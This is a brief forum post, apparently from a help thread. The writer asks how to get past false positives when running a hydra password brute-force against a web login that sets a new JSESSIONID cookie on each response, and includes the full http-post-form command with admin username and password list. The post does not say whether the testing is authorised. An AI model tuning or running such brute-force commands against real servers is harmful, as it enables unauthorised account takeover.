My problem is similar to the above case, I get "20 valid passwords found" but the server I'm trying to brute force sends the header set-cookie: JSESSINOID=XXXXXXXXXX in every single Response, so the JSESSIONID for the next request is different every time. Is there a way to get around this?
hydra XX.XXX.XX.XX -l admin -P pwlist.txt http-post-form “/Path/to/page.do:method=LoginAction&formName=loginform&pageType=1&userName=^USER^&password=^PASS^:Please enter valid User name and Password.:H=Cookie: JSESSIONID=XXXXXxxxxxXXXXXX”
Thanks for your help.